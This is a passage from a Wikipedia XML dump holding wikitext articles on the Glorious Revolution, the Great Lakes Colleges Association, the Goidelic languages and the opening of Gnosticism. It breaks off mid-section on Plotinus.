      <text xml:space="preserve">The term '''Glorious Revolution''' refers to the generally popular overthrow of [[James II of England]] in [[1688]] by a conspiracy between some [[Parliament of England|parliamentarians]] and the [[Holland|Dutch]] [[stadtholder]] [[William III of Orange-Nassau]].  The event is sometimes referred to as the '''Bloodless Revolution''' but this name is a misnomer as there was much fighting, with loss of life, in Ireland and to a lesser degree in Scotland. Some modern historians, alternatively, prefer the more neutral '''Revolution of 1688'''.

== History ==
[[Image:James_II_of_England.jpg|thumb|right|200px|James II]]
During his three year reign, King James II fell victim to the political battles in the [[British Isles]] between [[Catholicism]] and [[Protestantism]] on the one hand, and on the other, between the [[divine right of kings|divine right]] of the Crown and the political rights of [[British Parliament|Parliament]]. James's greatest political problem was his Catholicism, which left him alienated from both parties in Parliament. Any attempts at reform by James were thus viewed with great suspicion. James also pursued a number of untenable policies, such as a desire for a standing army and a pursuit of [[religious toleration]]. 

While his brother and predecessor, [[Charles II of England|Charles II]], had done the same, Charles had not been an overt Catholic like James. Matters came to a head in [[1688]] when James fathered [[James Francis Edward Stuart|a son]]; until then, the throne would have passed to his Protestant daughter, [[Mary II of England|Mary]]. The prospect of a Catholic dynasty in [[Britain]] was now likely. Some leaders of the hitherto loyal [[Tory|Tory Party]] united with members of the opposition  [[Whigs (UK)|Whigs]] and set out to solve the crisis.
===Conspiracy and Dutch Landing===
In [[1686]] a group of conspirators met at [[Charborough House]], [[Dorset]] to plan the overthrow of &quot;the tyrant race of Stuarts&quot;. In 1688, a further conspiracy, based at [[Whittington Moor]], [[Derbyshire]] (''see the [[Immortal Seven]]'') was launched to depose James and replace him with his daughter Mary and her husband, [[William III of Orange|William of Orange]] &amp;mdash; both Protestants and both grandchildren of [[Charles I of England]].  William was [[stadtholder]] of the [[Netherlands]], then in the early stages of a war with the French: the [[War of the Grand Alliance]]. Jumping at the chance to add [[England]] to his alliance, William and Mary laid careful plans over a number of months for an invasion. Landing with a large Dutch army at [[Brixham]], [[Devon]] on [[November 5]], [[1688]], William was greeted with much popular support, and local men joined his army. Meanwhile, in the North, many nobles also declared for William. James's forward forces gathered at [[Salisbury]], and James went to join them on [[November 19]]. It rapidly became apparent that the troops were not eager to fight, and the loyalties of many of James's commanders were doubtful. A skirmish at [[Wincanton]], [[Somerset]], around this time saw the first bloodshed, with Royalist troops defeating a small party of scouts and then retreating; the total body count from both sides was approximately 15. In Salisbury a worried James was afflicted by a sudden serious nose bleed, which he took as an evil [[omen]] that led him to decide to order a general retreat of his army. On [[November 23]], [[John Churchill, 1st Duke of Marlborough|John Baron Churchill]], one of James's chief commanders, deserted to William. A few days later, James's own daughter, Princess [[Anne of Great Britain|Anne]], did the same.  Both were serious losses. James returned to London on [[November 26]]. By [[December 4]], William's forces were at Salisbury; by [[December 7]] they had reached [[Hungerford]], where they met with the King's Commissioners to negotiate.  In reality, by that point James was simply playing for time as he already had decided to flee abroad.  Convinced that his army was unreliable, he sent orders to disband it. [[December 10]] saw the second engagement between the two sides with the [[Battle of Reading (1688)|Battle of Reading]], a defeat for the King's men. 

[[December 11]] saw James attempt to escape, dropping [[Great Seal of the Realm|The Great Seal]] in the [[Thames]] along the way.  However, he was captured by fishermen near [[Sheerness]] on the [[Isle of Sheppey]]. The same night witnessed mass panic in [[London]] in what was later termed [[Irish night]]. Rumours of an impending Irish army attack on London gripped the capital, and mobs rioted and looted the houses of Catholics and several foreign embassies.

Upon returning to London a few days later, James was welcomed by cheering crowds. He took heart at this, and attempted to recommence government, even presiding over a meeting of the [[Privy Council]]. Then he received a request from William to remove himself from London.  James went under Dutch guard to [[Rochester, Kent|Rochester]] in [[Kent]] on [[December 18]], just as William entered London. James then escaped to [[France]] on [[December 23]]. The lax guard on James and the decision to allow him so near the coast indicates that William might have hoped that a successful escape would avoid the difficulty of deciding what to do with him, especially with the memory of the execution of [[Charles I of England|Charles I]] still strong. By fleeing, James helped ensure that William's grip was secure.

===William made King===
In [[1689]], the [[Convention Parliament]] convened and declared that James's flight amounted to [[abdication]]. William and Mary were offered the throne as joint rulers, an arrangement which they accepted (William demanded the title of king: this demand by England's former enemy made more persuasive by his military advantage). On [[February 13]], 1689, Mary II and William III jointly acceded to the throne of England. Although their succession to the English throne was relatively peaceful, much blood would be shed before William's authority was accepted in Ireland and Scotland.

===Jacobite Uprisings===
''main article [[Williamite war in Ireland]], [[Jacobite Risings]]''

James had cultivated support on the fringes of his Three Kingdoms - in Catholic Ireland and the Highlands of Scotland. Supporters of James, known as '''Jacobites''' there were prepared to resist what they saw as an illegal coup by force of arms. An uprising occurred in support of James in Scotland in 1689, the first [[Jacobite rebellion]], led by [[John Graham of Claverhouse]] known as &quot;Bonnie Dundee&quot;, who raised an army from Highlands [[clans]]. In Ireland, local Catholics led by [[Richard Talbot, 1st Earl of Tyrconnell]], who had been discriminated against by previous English monarchs, took all the fortified places in the kingdom except [[Derry]] to hold the Kingdom for James. James himself landed in Ireland with 6000 French troops to try to regain the throne in the [[Williamite war in Ireland]]. The war raged from [[1689]]&amp;ndash;[[1691]]. James fled Ireland following a humiliating defeat at the [[Battle of the Boyne]], but Jacobite resistance was not ended until after the [[battle of Aughrim]] in 1691, when over half of their army was killed or taken prisoner. The Irish Jacobites surrendered at the [[Treaty of Limerick]] on October 3rd 1691. England stayed relatively calm throughout, although some English Jacobites  fought on his side in Ireland. The Jacobite uprising in the [[Scottish Highlands]] was quelled despite the [[Jacobitism|Jacobite]] victory at the [[Battle of Killiecrankie]], due to death of their leader, Claverhouse.

The events of 1688 and their aftermath can thus be seen as much more of a ''[[coup d'état]]'', achieved by (largely Dutch) force of arms than an authentic revolution. Many, particularly in Ireland and Scotland, continued to see the [[Stuarts]] as the legitimate monarchs of the Three Kingdoms and there were further Jacobite rebellions in [[1715]] and [[1745]] in Scotland.

==Legacy==

The Glorious Revolution was one of the most important events in the long evolution of powers possessed by Parliament and by the Crown in England. With the passage of the [[English Bill of Rights|Bill of Rights]], it stamped out any final possibility of a Catholic monarchy, and ended moves towards [[absolute monarchy|monarchical absolutism]] in the British Isles by circumscribing the monarch's powers. The King's powers were greatly restricted; he could no longer suspend laws, levy taxes, or maintain a standing army during peacetime without Parliament's permission. Since 1689, England, and later the [[United Kingdom]], has been governed under a system of [[constitutional monarchy]], which has been uninterrupted. Since then, Parliament has gained more and more power, and the Crown has progressively lost it. 

The success of the revolution came three years after the failure of the [[Monmouth Rebellion]] to overthrow the king.

The [[Williamite]] victory in Ireland is still commemorated by the [[Orange Order]] for preserving British and Protestant dominance in the country.

==External links==
*[http://www.bbc.co.uk/history/historic_figures/charles_ii_king.shtml BBC History: Charles II]
*[http://www.thegloriousrevolution.org The Glorious Revolution of 1688]
*[http://eh.net/encyclopedia/article/quinn.revolution.1688 Economic analysis of the Glorious Revolution from EH.NET]
*[http://www.newadvent.org/cathen/13007b.htm Catholic Encyclopedia article]
*http://www.open2.net/civilwar/6.3.aftershocks.html

http://en.wikipedia.org/wiki/Glorious_Revolution_%28against_food_wastage%29

[[Category:Revolutions]]
[[Category:1688]]
[[Category:History of Britain]]
[[Category:Invasions of England]]

[[de:Glorious Revolution]]
[[fr:Glorieuse Révolution]]
[[he:המהפכה המהוללת]]
[[ja:名誉革命]]
[[nl:Glorious Revolution]]
[[no:Den ærerike revolusjon]]
[[pt:Revolução Gloriosa]]
[[ru:Славная революция]]
[[fi:Mainio vallankumous]]
[[sv:Ärorika revolutionen]]
[[uk:Знаменита революція]]
[[zh:光荣革命]]</text>
    </revision>
  </page>
  <page>
    <title>Genscher</title>
    <id>12467</id>
    <revision>
      <id>15910153</id>
      <timestamp>2002-05-27T00:46:36Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>redirecting</comment>
      <text xml:space="preserve">#REDIRECT [[Hans-Dietrich Genscher]]
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    </revision>
  </page>
  <page>
    <title>Great Lakes Colleges Association</title>
    <id>12468</id>
    <revision>
      <id>27296382</id>
      <timestamp>2005-11-03T23:38:41Z</timestamp>
      <contributor>
        <username>Bkonrad</username>
        <id>44062</id>
      </contributor>
      <minor />
      <comment>rm ambiguity</comment>
      <text xml:space="preserve">[[Image:GLCA.gif|right|Great Lake Colleges Association logo]]
The '''Great Lakes Colleges Association''', Inc. (GLCA), is a consortium of twelve [[liberal arts college]]s located in the [[U.S. state]]s of [[Michigan]], [[Ohio]] and [[Indiana]]. It was chartered in the state of Michigan and incorporated as a 501(c)(3) [[non-profit organization]] in [[1962]]. The GLCA offices are located in [[Ann Arbor, Michigan]].

* [[Albion College]]
* [[Antioch College]]
* [[Denison University]]
* [[DePauw University]]
* [[Earlham College]]
* [[Hope College]]
* [[Kalamazoo College]]
* [[Kenyon College]]
* [[Oberlin College]]
* [[Ohio Wesleyan University]]
* [[Wabash College]]
* [[The College of Wooster]]

==External links==
*[http://www.glca.org/ GLCA official site]
{{GLCA}}

[[Category:Ann Arbor, Michigan]]
[[Category:Universities and colleges in the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Goidelic languages</title>
    <id>12469</id>
    <revision>
      <id>40585500</id>
      <timestamp>2006-02-21T17:09:15Z</timestamp>
      <contributor>
        <username>Alexander 007</username>
        <id>493689</id>
      </contributor>
      <minor />
      <comment>/* Other Celtic languages */ dab</comment>
      <text xml:space="preserve">{{Infobox Language family
  |name=Goidelic
  |altname=Gaelic
  |region=[[Ireland]], [[Scotland]], [[Isle of Man]]
  |familycolor=Indo-European
  |fam1=[[Indo-European languages|Indo-European]]
  |fam2=[[Celtic languages|Celtic]]
  |fam3=[[Insular Celtic languages|Insular Celtic]]
  |child1=[[Irish language|Irish]]
  |child2=[[Scottish Gaelic language|Scottish Gaelic]]
  |child3=[[Manx language|Manx]]
}}

The '''Goidelic languages''' (also sometimes called the '''Gaelic languages''' or collectively '''Gaelic''') are one of two major divisions of modern-day [[Insular Celtic languages]] (the other being the [[Brythonic languages]]). There are three attested Goidelic languages: '''[[Irish language|Irish]]''' (''Gaeilge''), '''[[Scottish Gaelic language|Scottish Gaelic]]''' (''Gàidhlig''), and '''[[Manx language|Manx]]''' (''Gaelg''). [[Shelta language|Shelta]] is sometimes mistakenly thought to be a Goidelic language when it is, in fact, a ''[[Cant (language)|cant]]'' based on Irish and [[English language|English]], with a primarily English-based syntax.

The Goidelic branch is also known as '''Q-Celtic''', because [[Proto-Celtic language|Proto-Celtic]] *''k&lt;sup&gt;w&lt;/sup&gt;'' was originally retained in this branch (later losing its [[labialization]] and becoming plain [k]), as opposed to [[Brythonic languages|Brythonic]], where *''k&lt;sup&gt;w&lt;/sup&gt;'' became [p]. This sound change is found in [[Gaulish language|Gaulish]] as well, so Brythonic and Gaulish are sometimes collectively known as &quot;P-Celtic&quot;. (In [[Celtiberian language|Celtiberian]], *''k&lt;sup&gt;w&lt;/sup&gt;'' is also retained, so the term &quot;Q-Celtic&quot; could be applied to it as well, although Celtiberian is not a Goidelic language.)

{| cellspacing=&quot;8px&quot;
| '''Proto-Celtic'''
| bgcolor=&quot;pink&quot; | '''Gaulish'''
| bgcolor=&quot;pink&quot; | '''Welsh'''
| bgcolor=&quot;pink&quot; | '''Breton'''
| bgcolor=&quot;lightseagreen&quot; | '''Irish'''
| bgcolor=&quot;lightseagreen&quot; | '''Scottish Gaelic'''
| bgcolor=&quot;lightseagreen&quot; | '''Manx'''
| '''English gloss'''
|- 
| ''*k&lt;sup&gt;w&lt;/sup&gt;ennos''
| ''pennos''
| ''penn''
| ''penn''
| ''ceann''
| ''ceann''
| ''kione''
| &quot;head&quot;
|- 
| ''*k&lt;sup&gt;w&lt;/sup&gt;etwar-''
| ''petuarios''
| ''pedwar''
| ''pevar''
| ''ceathair''
| ''ceithir''
| ''kiare''
| &quot;four&quot;
|- 
| ''*k&lt;sup&gt;w&lt;/sup&gt;enk&lt;sup&gt;w&lt;/sup&gt;e''
| ''pinpetos''
| ''pump''
| ''pemp''
| ''cúig''
| ''còig''
| ''queig''
| &quot;five&quot;
|- 
| ''*k&lt;sup&gt;w&lt;/sup&gt;eis''
| &amp;nbsp;
| ''pwy''
| ''piv''
| ''cé (older cia)''
| ''cò/cia''
| ''quoi''
| &quot;who&quot;
|} 

==Nomenclature==
Although Irish and Manx are often referred to as Irish Gaelic and Manx Gaelic — and it is correct to describe them as Goidelic or Gaelic languages — this is unnecessary because the words Irish and Manx only ever refer to these languages whereas [[Scots language|Scots]] by itself refers to a [[Germanic languages|Germanic language]].  The word Gaelic by itself is somewhat ambiguous, but most often refers to Scottish Gaelic and it is the word that Scottish Gaelic speakers themselves use when speaking English. Furthermore, due to the peculiar politics of language and national identity, some Irish speakers are offended by the use of the word ''Gaelic'' by itself to refer to Irish. For knowledgable Irish people, Gaelic is specifically Northern Irish Gaelic - and this is the origin of the English word Gaelic.

Similarly, some Scottish Gaelic speakers also find offensive the use of the obsolete word '''Erse''' (i.e. &quot;Irish&quot;) to refer to their language. This term was used in [[Scotland]] since at least the late [[15th century]] to refer to Gaelic, which had previously been called ''Scottis''. The modern form of the latter term, ''Scots'', is now used to refer to the [[Anglic languages|Anglic language]] [[Scots language|Scots]].

The names used in languages themselves (''Gaeilge'' in Irish, ''Gaelg'' in Manx, and ''Gàidhlig'' in Scottish Gaelic) are derived from Old Irish ''Goideleg'', which in itself is from the originally more-or-less derogative term ''Goidel'' meaning &quot;pirate, raider&quot; in [[Old Welsh language|Old Welsh]]. The Goidels called themselves various names according to their tribal/clan affiliations, but the most general seems to have been the name rendered in [[Latin]] as ''Scoti''. This word may be related to the Modern Irish word ''scoth'' meaning &quot;best, 'the pick of the bunch'&quot;.

==Classification==
The family tree of the Goidelic languages is as follows:

*Goidelic
**[[Primitive Irish language|Primitive Irish]], ancestral to:
**[[Old Irish language|Old Irish]], ancestral to:
**[[Middle Irish language|Middle Irish]], ancestral to:
***[[Irish language|Irish]]
***[[Scottish Gaelic language|Scottish Gaelic]]
***[[Galwegian Gaelic]]
***[[Manx language|Manx]]

==History and range==
Goidelic languages were once restricted to [[Ireland]], but sometime between the [[3rd century]] and the [[6th century]] a group of the Irish Celts known to the Romans as ''Scoti'' began migrating from Ireland to what is now [[History of Scotland|Scotland]] and eventually assimilated the [[Picts]] (a group of peoples who may have originally spoken a [[Brythonic languages|Brythonic language]]) who lived there.  Manx, the former common language of the [[Isle of Man]], is closely akin to the Gaelic spoken in north east Ireland and the now extinct Gaelic of [[Galloway]] (in southwest Scotland), with heavy influence from Old Norse because of the [[Viking]] invasions.  [[Shelta]], a [[cant (language)|cant]] spoken by the [[Irish Traveller]]s, is considered its own language even though it is based largely on Irish.  Goidelic languages may once have been common on the Atlantic coast of Europe and there is evidence that they were spoken in the region of [[Galicia (Spain)|Galicia]] in modern [[Spain]] and Portugal, around Marseille, at the head waters of the Seine, in the Celtic heartlands of Switzerland, Austria and so on, and in [[Galatia]].  The Goidelic languages had their own unique script, known as [[ogham]], in use from at least the 5th century until the 15th, especially for carving on wood or stone.

The oldest written Goidelic language is [[Primitive Irish]], which is attested in [[Ogham]] inscriptions up to about the [[4th century]] AD. [[Old Irish language|Old Irish]] is found in the margins of [[Latin]] religious [[manuscript]]s from the [[6th century]] to the [[10th century]]. [[Middle Irish language|Middle Irish]], the ancestor of the modern Goidelic languages, is the name for the language as used from the 10th to the [[16th century]]. A form of Middle Irish was used as a literary language in Ireland and Scotland until the [[17th century]], and often in both countries well into the [[18th century]]; the [[Ethnologue]] gives the name &quot;Hiberno-Scottish Gaelic&quot; to this purely written language. Often called Classical Irish, the modern Irish and Scottish Gaelic written forms [of which there are at least four] are merely modernisations (in general in parallel, sometimes in different directions) of the 'classical' language. As long as this written language was the norm, Ireland was always considered the Gaelic homeland to the Scottish literati.

==Irish==
{{main|Irish language}}
Irish is one of Ireland's two official languages (along with [[English language|English]]) and is still fairly widely spoken in the south, west and north west of Ireland. The legally defined Irish-speaking areas are called the [[Gaeltacht]]. At present, Irish is primarily spoken in Counties [[County Cork|Cork]], [[County Donegal|Donegal]], [[County Mayo|Mayo]], [[County Galway|Galway]], [[County Kerry|Kerry]] and, to a lesser extent, in [[County Waterford|Waterford]] and [[Meath]].  [[Irish language|Irish]] is also spoken by a few people in [[Northern Ireland]] and has been accorded some legal status there under the [[1998]] [[Belfast Agreement]]. Approximately 260,000 people in the Republic of Ireland can speak the Irish language fluently, while close to 80,000 (mainly in the [[Gaeltacht]]) speak Irish as a first, day to day language. Over a million citizens of the Republic of Ireland have some understanding in Irish (ranging from minimum to almost fluent). Before the Irish [[Irish Potato Famine (1845-1849)|potato famine]] of the 1840s, the language was spoken by the vast majority of the population, but the famine and emigration led to a decline which has only begun to reverse very recently.  The census figures do not take into account those Irish who have emigrated, and it has been estimated (rightly or wrongly) that there are more native speakers of Irish in Great Britain, the US, Australia and other parts of the world than there are people in Ireland itself.

The Irish language has been officially recognised as a working language by the [[European Union]]. Ireland's national language is the 21st to be given such recognition by the EU and previously had the status of a treaty language.

==Scottish Gaelic==
{{main|Scottish Gaelic language}}
Some people in the north and west of Scotland and the [[Hebrides]] still speak Scottish Gaelic, but because of its minimal official recognition and because of large-scale emigration from those parts of Scotland, the language has been in decline.  There are now believed to be approximately 1,000 native speakers of Scottish Gaelic in [[Nova Scotia]] and 60,000 in [[Scotland]]. 

Its historical range was much larger. For example, it was the everyday language of most of the rest of the Highlands until little more than a century ago. [[Galloway]] had also been a Goidelic-speaking region, but the [[Galwegian language]] has been extinct there for approximately three centuries. It is believed to have been home to dialects that were transitional between Scottish Gaelic and the two other Goidelic languages. Most other areas of the [[Scottish Lowlands|Lowlands]] also spoke forms of Gaelic, the only exceptions being the area which lies on the south-eastern part of the modern border with [[England]] - the area called [[Lothian]] in the [[Middle Ages]] - and the far north-east (parts of [[Caithness]]), [[Orkney]] and [[Shetland]]. 

The very word ''Scotland'' in fact takes its name from the Latin word for a Gael, ''Scotus''. So ''Scotland'' or ''Scotia'' originally meant ''Land of the Gaels''. Moreover, until late in the [[15th century]], it was solely the Gaelic language used in Scotland which in English was called ''Scottish'' or - more authentically - ''Scottis''. ''Scottis'' continued to be the English name for the language, although it was gradually superseeded by the word ''Erse'', an act of cultural disassociation which contributed to the language's declining status. In the early [[16th century]] the dialects of [[Middle English]] which had developed in Lothian and had come to be spoken elsewhere in the Kingdom of Scotland themselves appropriated the name [[Scots Language|Scots]]. By the [[seventeenth century]] Gaelic speakers were restricted largely to the [[Scottish Highlands|Highlands]] and the [[Hebrides]]. Furthermore, the culturally repressive measures taken against the rebellious highland communities by the British crown following the 2nd [[Jacobite Rebellion]] of [[1746]] caused still further decline in the language's use - to a large extent by enforced emmigration. Even more decline followed in the [[nineteenth century|19th]] and early [[twentieth century|20th]] centuries 

The [[Scottish Parliament]] has afforded the language a secure statutory status and ''equal respect'' (but not full equality in legal status within Scots Law [http://news.bbc.co.uk/2/hi/uk_news/scotland/4467769.stm]) with [[English language|English]], sparking hopes that Scottish Gaelic can be saved from extinction and perhaps even revived.

==Manx==
{{main|Manx language}}
Manx is technically extinct, although attempts to revive it continue and it is still used in ceremonies such as [[Tynwald Day]]. A small minority of the Manx people, estimated to be not more than 2,000, can speak the language, although the person considered to be the last true native speaker, [[Ned Maddrell]], died in [[1974]]. Although a Gaelic language, closely related to its Irish and Scottish sister languages, the Manx language also borrowed heavily from the [[Old Norse]] language introduced by Viking raiders centuries ago, as well as middle English and Welsh.

==Other Celtic languages==
All the other living Celtic languages belong to the [[Brythonic]] branch of Celtic, which includes [[Welsh language|Welsh]] (''Cymraeg''), [[Breton language|Breton]] (''Brezhoneg''), and [[Cornish language|Cornish]] (''Kernowek'').  [[Pictish language|Pictish]] was the ancient language of much of modern day [[Scotland]], but it is not clear that Pictish was a Celtic language. These are sometimes incorrectly referred to as &quot;Gaelic&quot;. For extinct Celtic languages of the European mainland, see [[Continental Celtic languages]].

There are also two [[mixed language]]s that are not specifically Goidelic languages as such, but have a strong input from them:
*[[Bungee language]] in [[Canada]], a [[Métis]] mix of Scottish Gaelic and [[Cree language]]
*[[Shelta]], a mix of Irish language and English

==See also==
* [[Canadian Gaelic]]
* [[Gaelicization]]
* [[Highland Clearances]]
* [[Highland Land League]]
* [[Irish Land League]]

==External links==
* [http://www.ethnologue.com/show_family.asp?subid=90049 Ethnologue file on Goidelic languages]
* [[:gd:|Scottish Gaelic Wikipedia]]
* [[:ga:|Irish language Wikipedia]]
* [[:gv:|Manx Wikipedia]]
* [http://www.smo.uhi.ac.uk/gaidhlig/ga-ge/coimeas.html Comparison of Irish and Scottish Gaelic]

[[Category:Goidelic languages]]
[[Category:Celtic languages]]

[[be:Гайдэльскія мовы]]
[[ca:Goidèlic]]
[[da:Goidelisk]]
[[de:Goidelische Sprachen]]
[[eo:Gaela lingvaro]]
[[fr:Langue gaélique]]
[[ga:Teangacha Gaelacha]]
[[it:Lingua gaelica]]
[[kw:Goedhelek]]
[[nl:Goidelisch]]
[[ja:ゲール語]]
[[pt:Língua gaélica]]
[[sco:Gaelic leid]]
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[[zh:蓋爾亞支]]</text>
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  </page>
  <page>
    <title>Gnosticism</title>
    <id>12471</id>
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      <comment>/* The development of the Persian school */ m Manicheism link</comment>
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[[Image:Flammarion.jpg|right|200px|thumb|The [[Flammarion Woodcut]] can be taken to illustrate the Gnostics' search for spiritual worlds by circumventing the constraints of materiality.]]

'''Gnosticism''' is a historical term for various mystical initiatory [[religion]]s, [[sect]]s and knowledge schools which were most active in the first few centuries of the [[anno Domini|Christian]]/[[Common Era]],  around the [[Mediterranean]] and extending into central [[Asia]].  These systems typically recommend the pursuit of special knowledge (''[[gnosis]]'') as the central goal of life.  They also commonly depict creation as a [[mythology|mythological]] struggle between competing forces of light and dark, and posit a marked division between the material realm, which is typically depicted as under the governance of malign forces, and the higher spiritual realm from which it is divided.  As a result of these common traits, allegations of [[dualism]], [[acosmism|anticosmism]] and body-hatred are often raised against Gnosticism as a whole; this, however, fails to acknowledge the variety, subtlety and complexity of the traditions involved.  

It should be noted that the term 'Gnosticism' and the adjectival form 'Gnostic' are also applied to modern revivals of these groups and, sometimes, its inappropriate extension to include ''any and all'' religious movements incorporating a doctrine of secret or special, initiatory knowledge can lead to categorical confusion; this has recently lead to the usefulness of the term being called into question.

==Overview==
The complex nature of Gnostic teaching and the fact that much of the material relating to the schools comprising Gnosticism has traditionally come from critiques by orthodox [[Christianity|Christians]] make it difficult to be precise about early Christian gnostic systems. [[Irenaeus]] in his ''[[Adversus Haereses]]'' described several different schools of 2nd century gnosticism in disparaging and often sarcastic detail while contrasting them with Christianity to their detriment.  Despite these problems, scholarly discussion of Gnosticism at first relied heavily on Irenaeus and other heresiologists, which arguably has led to an 'infiltration' of heresiological agendas into modern scholarship; in fairness to the first investigators this was not by choice, but because of a simple lack of alternative sources.

This state of affairs continued through to modern times; in [[1945]], however, there was a chance discovery of a cache of 4th century Gnostic manuscripts near [[Nag Hammadi]], [[Egypt]].  The texts, which had been sealed inside earthen jars, were discovered by a local man called Mohammed Ali, and are now known as the ''[[Nag Hammadi library]]''; these allowed for the modern study of undiluted 'Gnostic scripture' for the first time. The translation of the texts from [[Coptic language|Coptic]], their language of composition, into [[English language|English]] and other modern languages took place in the years approaching [[1977]], when the full Nag Hammadi library was published in English translation.  This has immensely clarified more recent discussions of gnosticism in [[Classical antiquity|antiquity]], though many would agree that the topic still remains fraught with difficulties.

At the same time, modern movements referencing ancient gnosticism have continued to develop, from origins in the popular [[Occultism|occultic movements]] of the 19th century.  Thus 'Gnosticism' is often erroneously ascribed to many modern sects where only initiates have access to certain [[arcana]]. However, the strict usage of the term remains a historical one, to specifically indicate a set of related ancient religious movements; the application of the antiquated term to these distinctly modern movements, far from being a clarification of the nature of Gnosticism, further occludes its true nature.

==Etymology and philosophical context==
===The meaning of 'gnosis'===
The word 'Gnosticism' is a modern construction, though based on an antiquated linguistic expression: it comes from the [[Greek language|Greek]] word meaning 'knowledge', ''[[gnosis]]'' (γνώσις).  However, ''gnosis'' itself refers to a very specialised form of knowledge, deriving both from the exact meaning of the original Greek term and its usage in [[Plato|Platonist]] [[philosophy]].  

Unlike modern [[English language|English]], ancient Greek was capable of discerning between several different forms of knowing.  These different forms may be described in English as being &quot;propositional knowledge&quot;, being indicative of knowledge acquired ''indirectly'' through the reports of others or otherwise by inference (such as &quot;I know ''of'' Wikipedia&quot; or &quot;I know Berlin ''is in'' Germany&quot;), and knowledge acquired by ''direct participation'' or ''acquaintance'' (such as &quot;I know Wikipedia well&quot; or &quot;I know Berlin, having visited&quot;).

''Gnosis'' (γνώσις) refers to knowledge of the second kind.  Therefore, in a religious context, to be 'Gnostic' should be understood as being reliant not on [[knowledge]] in a general sense, but as being specially receptive to ''mystical'' or ''esoteric experiences of direct participation'' with the divine. Indeed, in most Gnostic systems the sufficient cause of salvation is this 'knowledge of' ('acquaintance with') the divine.  This is commonly identified with a process of inward 'knowing' or self-exploration, comparable to that encouraged by [[Plotinus]] (''[[Circa|ca]].'' [[205]]&amp;ndash;[[270]] [[Common Era|CE]]).  However, as may be seen, the term 'gnostic' also had precedent usage in several ancient [[philosophy|philosophical]] traditions, which must also be weighed in considering the very subtle implications of its appellation to a set of ancient religious groups.

===The Platonist and Aristotelian traditions===
The first usage of the term ‘''gnostikoi''’, that is, 'those capable of knowing', was by [[Plato]] in the ''[[Politicus]]'' (258e-267a), in which he compares the ''gnostike episteme'' ('understanding connected with knowledge') which denotes knowledge based on mathematical understanding, to the ''praktike episteme'' ('understanding connected with practice').  Plato describes the ideal [[politician]] as the practitioner ''par excellence'' of the former, and his success is to be considered ''only'' in the light of his ability toward this ‘art of knowing’, irrespective of social rank.  Hence ''any'' man, be he ruler or otherwise may thus become, as Plato puts it, ‘royal’.  Here, ''gnostikos'' makes reference to an ''ability'' to possess certain knowledge, not the ''condition'' of possessing knowledge ''per se'' or the knowledge that is itself possessed, nor even, it might be further noted, to the individual who possesses it.  

In ‘The History of the Term ''Gnostikos''’ in ''The Rediscovery of Gnosticism'' (E.J. Brill, [[Leiden]], [[1981]], 798&amp;ndash;800) Morton Smith lists users of ‘''gnostikos''’ in this manner as being [[Aristotle]], [[Strato of Lampsacus]], ‘a series of [[Pythagoras|Pythagoreans&quot;]]’, [[Philo Judaeus]] and [[Plutarch]], amongst others.  Christoph Markschies notes in ''Gnosis: An Introduction'' (trans. John Bowden, T &amp; T Clark, [[London]], [[2001]]) that the term was used extensively only within the Platonist tradition, and would not have had much relevance outside it.

Despite this, Plato's usage of the descriptive phrase 'royal' to denote the elevated position of the able ''gnostikoi'', and the availability of such a position to ''all'' members of society regardless of rank, would have been greatly appealing to such early Christians as Clement ([[Clement of Alexandria|Titus Flavius Clementis]]) of Alexandria, who happily described ''gnosis'' as the central goal of Christian faith.  Despite this, Clement is not typically considered a Gnostic in the modern sense.  It is worth noting that this lack of cohesion between understandings of such terms contemporary to Gnosticism's greatest flourishings and modern understandings as shown through usage can sometimes lead to misunderstandings concerning Gnosticism's true nature and development.

Of course, several ancient traditions of 'knowing' existed outside the Platonist tradition: [[Aristotle]] described the ideal life of success as being the one which is spent in theoretical contemplation (''bios theoretikos'').  Thus, as with Clement, ''gnosis'' as such becomes the central goal of life, extending through the mode of morality into the realms of [[politics]] and [[religion]].  Philosophy, according to Aristotle, is a methodically ordered form of attaining this ''gnosis'': 'Philosophy promises knowledge of being' ([[Alexander of Aphrodisias]], ''Commentary on the Metaphysics of Aristotle'', ''[[Circa|ca]]''. [[200]] [[Common Era|CE]]).

Gnosticism, therefore, is but one of many ancient traditions which are dedicated to the pursuit of knowledge, and which supply disciplinary systems that are supposed to aid in such a pursuit.  As with both the Platonist and the Aristotelian traditions, the pursuit of ''gnosis'' is the central occupation of life, and involves a measure of dedicated contemplation to attain.  As with Clement, it may be surmised that the description of the ''gnostike episteme'' by Plato was appealing to early Gnostic formulators; however, early Gnostic movements typically do not depict Plato's capacity for knowing as being extended to all mankind, but restrict it to a select group.  This is especially true in the [[Seth|Sethian]] gnostic tradition (see [[#Major gnostic schools and their texts|below]]).

Despite the above, the problem remains that the term 'Gnosticism' was rarely if ever self-applied by any group in antiquity; even if the suitability of the term might be argued from the discussion above, it remains for the most part a modern typographical construction.  As a result, the term may be said to draw attention to the doctrine of ''gnosis'' out of proportion to its actual importance to 'Gnostics' themselves.  On the other hand, 'Gnosticism' is still adjectivally applied to systems of belief which do not afford knowledge the special significance that is the foundation of the term, but which merely relate to those that ''do'' by dint of other similarities, such as structural parallels.  This tactic could be said to stretch the category's usefulness in meaningful discussion.  In certain cases, scholars have been led to erroneously assume an exact correspondence of meaning between the ancient and modern usages of the term, as may be seen in the example of [[Plotinus]]' well-known address in ''[[Enneads|The Enneads]]''.

===Neoplatonism and Plotinus' 'Address to the Gnostics'===
The text which has come to be known as [[Plotinus]]' 'Address to the Gnostics' or 'Against the Gnostics' is more properly known as 'Against those that affirm the creator of the ''[[cosmos|kosmos]]'' and the ''kosmos'' itself to be evil'.  The text appears in the ninth tractate of the second ''[[Enneads|Ennead]]'', the ''Enneads'' being the works of Plotinus as collated and edited by [[Porphyry (philosopher)|Porphyry]], his disciple.  It is known that Plotinus' writing was poor, and that he detested revising and correcting his work, preferring to leave such tasks to others. Thus the correct title is not one of Plotinus' devising, but is one of Porphyry's emendations to the text.  

The formation of the text is as an address delivered by Plotinus to a number of his students, who have apparently been corrupted by ideas other than Plotinus' own.  As such, the tract takes the form of an extended address by the philosopher, and he occasionally acknowledges the audience as intimates.  

